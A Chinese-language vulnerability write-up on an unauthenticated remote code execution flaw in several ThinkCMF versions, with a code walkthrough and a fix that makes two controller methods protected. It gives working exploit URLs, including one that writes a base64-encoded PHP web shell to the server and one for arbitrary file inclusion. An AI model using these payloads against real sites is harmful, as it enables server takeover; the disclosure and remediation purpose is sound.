0x00 简介
ThinkCMF是一款基于ThinkPHP+MySQL开发的开源中文内容管理框架。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。
0x01 漏洞概述
远程攻击者在无需任何权限情况下,可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。
0x02 影响版本
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
0x03 漏洞利用&测试环境
测试环境:
测试版本:thinkcmf 2.2.2
phpstudy pro
windows 10
一共有两种方式:
第一种是通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件,phpinfo版payload如下:
/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
第一种漏洞复现截图如下:

第二种是通过构造a参数的display方法,实现任意内容包含漏洞,payload如下:
/index.php?a=display&templateFile=README.md
第二种漏洞复现截图如下:

0x04 漏洞分析
根据index.php的第25行可知道项目相对路径为application目录:
//开启调试模式
define("APP_DEBUG", true);
//网站当前路径
define('SITE_PATH', dirname(__FILE__)."/");
//项目路径,不可更改
define('APP_PATH', SITE_PATH . 'application/');
//项目相对路径,不可更改
define('SPAPP_PATH', SITE_PATH.'simplewind/');
然后找到 application\Portal\Controller 路径下的 IndexController.class.php 控制器类:
可以看到只有一个公共的display方法:
namespace Portal\Controller;
use Common\Controller\HomebaseController;
/**
* 首页
*/
class IndexController extends HomebaseController {
//首页 小夏是老猫除外最帅的男人了
public function index() {
$this->display(":index");
}
}
其父类是 Common\Controller\HomebaseController ,根据ThinkPHP框架规则,可以通过 g\m\a 参数指定分组(group)\模块(model)\动作或方法(action),我们打开 application\Common\Controller 路径下的 HomebaseController.class.php 可以看到通过a参数直接调的这几个权限为 public 的方法:

这边有问题的是display函数和fetch函数:
display函数的作用是加载模板和页面输出,所对应的参数为:
$templateFile 指定要调用的模板文件,$charset 模板输出字符集,$contentType 输出类型,$content 模板输出内容。
templateFile参数会经过parseTemplate函数处理,判断模板是否存在,当模板不存在时会在当前目录下开始查找:
public function parseTemplate($template='') {...}
然后调用THinkphp Controller 函数的display方法,其中fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。
/**
* 获取输出页面内容
* 调用内置的模板引擎fetch方法,
* @access protected
* @param string $templateFile 指定要调用的模板文件
* 默认为空 由系统自动定位模板文件
* @param string $content 模板输出内容
* @param string $prefix 模板缓存前缀* * @return string
*/
public function fetch($templateFile='',$content='',$prefix=''){
$templateFile = empty($content)?$this->parseTemplate($templateFile):'';
return parent::fetch($templateFile,$content,$prefix);
}
这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。利用时templateFile和prefix参数可以为空,在content参数传入待注入的php代码即可getshell。最终形成的payload:
/index.php?a=fetch&content=<?php+file_put_contents("mrxn.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbIjAwMCJdKTs/Pg=="));

0x05 修复方式
将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected。

还有另一种getshell的方法:

参考:
https://www.freebuf.com/vuls/217586.html
https://xz.aliyun.com/t/3529

